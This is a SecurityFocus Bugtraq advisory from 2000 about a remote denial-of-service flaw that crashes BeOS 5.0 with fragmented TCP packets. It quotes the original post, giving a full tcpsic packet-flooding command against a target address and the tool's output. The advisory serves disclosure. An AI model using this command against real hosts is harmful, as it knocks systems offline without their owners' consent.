BeOS TCP Fragmentation Remote DoS Vulnerability

Bugtraq ID:	1222
Class:	Serialization Error
CVE:
Remote:	Yes
Local:	Yes
Published:	May 18 2000 12:00AM
Updated:	May 18 2000 12:00AM
Credit:	Posted to bugtraq by visi0n <[email protected]> on May 18, 2000.
Vulnerable:	Be BeOS 5.0
Not Vulnerable:

BeOS TCP Fragmentation Remote DoS Vulnerability

BeOS is vulnerable to a remote TCP fragmentation attack that will crash the target system, requiring a reboot.

BeOS TCP Fragmentation Remote DoS Vulnerability

From the original bugtraq post:
[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0
-I0 -T0 -u0 -t0
Compiled against Libnet 1.0.1b
Installing Signal Handlers.
Seeding with 31337
No Maximum traffic limiter
Using random source ports.
Using random destination ports.
Bad IP Version = 0% IP Opts Pcnt = 0%
Frag'd Pcnt = 100% Urg Pcnt = 0%
Bad TCP Cksm = 0% TCP Opts Pcnt = 0%

1000 @ 1802.8 pkts/sec and 1174.6 k/s
2000 @ 1636.8 pkts/sec and 1105.5 k/s
3000 @ 2110.2 pkts/sec and 1396.4 k/s
4000 @ 1689.1 pkts/sec and 1105.4 k/s
Caught signal 2
Used random seed 31337
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s

BeOS TCP Fragmentation Remote DoS Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].